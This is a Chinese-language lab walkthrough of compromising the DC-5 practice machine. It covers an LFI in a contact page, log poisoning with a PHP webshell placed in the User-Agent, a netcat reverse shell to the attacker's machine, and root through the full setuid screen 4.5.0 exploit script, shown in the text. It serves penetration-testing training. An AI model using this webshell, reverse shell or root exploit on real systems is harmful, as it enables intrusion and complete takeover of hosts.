黑客零基础第三章-Web漏洞实战-文件上传DC5

第五节内容讲述了文件包含1.信息收集

2.获取低权限shell

3.提权

 4.总结


​​​​​​​

1.黑客零基础第三章-Web漏洞实战-文件上传DC5

使用第二章nmap命令扫描靶机,

nmap -p `nmap -p- --min-rate=10000 -T4 192.168.17.8 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//` -sC -sV --min-rate=10000 192.168.17.8

扫描结果如下,

Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-23 10:44 EDT Nmap scan report for 192.168.17.8 Host is up (0.00032s latency).  PORT      STATE SERVICE VERSION 80/tcp    open  http    nginx 1.6.2 |_http-server-header: nginx/1.6.2 |_http-title: Welcome 111/tcp   open  rpcbind 2-4 (RPC #100000) | rpcinfo:  |   program version    port/proto  service |   100000  2,3,4        111/tcp   rpcbind |   100000  2,3,4        111/udp   rpcbind |   100000  3,4          111/tcp6  rpcbind                                                                                                                                                             |   100000  3,4          111/udp6  rpcbind                                                                                                                                                             |   100024  1          35733/udp6  status |   100024  1          41448/tcp6  status |   100024  1          46892/udp   status |_  100024  1          47115/tcp   status 47115/tcp open  status  1 (RPC #100024) MAC Address: 08:00:27:7F:98:E9 (Oracle VirtualBox virtual NIC)  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.52 seconds

打开网页,是一个类似门户的网站,

黑客零基础第三章-Web漏洞实战-文件上传DC5

枚举后发现contact上存在一个信息输入。

黑客零基础第三章-Web漏洞实战-文件上传DC5

 输入信息后,发现copyright 的信息由2009变为2020,疑似思LFI漏洞黑客零基础第三章-Web漏洞实战-文件上传DC5

尝试了一下最简单的file,发现漏洞存在。

 黑客零基础第三章-Web漏洞实战-文件上传DC5

尝试打开access.log,发现能够打开,可以进行投毒。

黑客零基础第三章-Web漏洞实战-文件上传DC5

2.获取低权限shell

投毒的一句话木马如下,

<?php system($_GET['cmd']) ?>

打开burp,刷新网页截获数据包,修改UA为一句话木马。

黑客零基础第三章-Web漏洞实战-文件上传DC5

尝试触发一句话木马,成功!

黑客零基础第三章-Web漏洞实战-文件上传DC5

在kali开启nc监听4444端口,浏览器输入以下连接,使用nc获取反向shell。

192.168.17.8/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.17.4 4444

黑客零基础第三章-Web漏洞实战-文件上传DC5

3.提权

使用如下命令获取一个可交互式的shell,

python -c 'import pty;pty.spawn("/bin/bash")' 

 黑客零基础第三章-Web漏洞实战-文件上传DC5

使用该命令查看SUID的程序,这里是一个常见的提权枚举。发现screen程序可能存在漏洞。

find / -perm /4000 2>/dev/null 

 黑客零基础第三章-Web漏洞实战-文件上传DC5

seachsploit 命令查找该漏洞PoC,

黑客零基础第三章-Web漏洞实战-文件上传DC5

将Poc拷贝到当前目录,

黑客零基础第三章-Web漏洞实战-文件上传DC5
#!/bin/bash # screenroot.sh # setuid screen v4.5.0 local root exploit # abuses ld.so.preload overwriting to get root. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html # HACK THE PLANET # ~ infodox (25/1/2017)  echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat << EOF > /tmp/libhax.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){     chown("/tmp/rootshell", 0, 0);     chmod("/tmp/rootshell", 04755);     unlink("/etc/ld.so.preload");     printf("[+] done!n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat << EOF > /tmp/rootshell.c #include <stdio.h> int main(void){     setuid(0);     setgid(0);     seteuid(0);     setegid(0);     execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne  "x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so...

上面的Poc源码可以看出,整个Poc分为三部分,第一部分是编译出一个动态库的源码,第二部分是编译获取root shell的源码,第三部分是漏洞利用的脚本。

 黑客零基础第三章-Web漏洞实战-文件上传DC5

黑客零基础第三章-Web漏洞实战-文件上传DC5

将Poc传到靶机,执行发现出错,这个错误可以通过dos2unix解决,

黑客零基础第三章-Web漏洞实战-文件上传DC5 黑客零基础第三章-Web漏洞实战-文件上传DC5

重新下载poc到靶机,执行后出错。

黑客零基础第三章-Web漏洞实战-文件上传DC5

考虑把Poc三个部分分开执行,

黑客零基础第三章-Web漏洞实战-文件上传DC5 黑客零基础第三章-Web漏洞实战-文件上传DC5

 黑客零基础第三章-Web漏洞实战-文件上传DC5

编译第一部分动态链接库,

gcc -fPIC -shared -ldl -o libhax.so libhax.c

黑客零基础第三章-Web漏洞实战-文件上传DC5 编译第二部分root shell

gcc -o rootshell rootshell.c
黑客零基础第三章-Web漏洞实战-文件上传DC5

 最终需要三个PoC如下,

 黑客零基础第三章-Web漏洞实战-文件上传DC5

 将三个文件传到靶机tmp目录,黑客零基础第三章-Web漏洞实战-文件上传DC5

 运行脚本,成功获取root,黑客零基础第三章-Web漏洞实战-文件上传DC5

黑客零基础第三章-Web漏洞实战-文件上传DC5

 4.总结

靶机入口是一个门户网站,其中有一个页面存在LFI。测试能够通过LFI访问access.log。使用LFI+日志投毒成功获取低权限shell。

提权是一个SUID的screen提权,过程稍微复杂。

 

 

版权声明:玥玥 发表于 2021-08-26 14:19:52。
转载请注明:黑客零基础第三章-Web漏洞实战-文件上传DC5 | 女黑客导航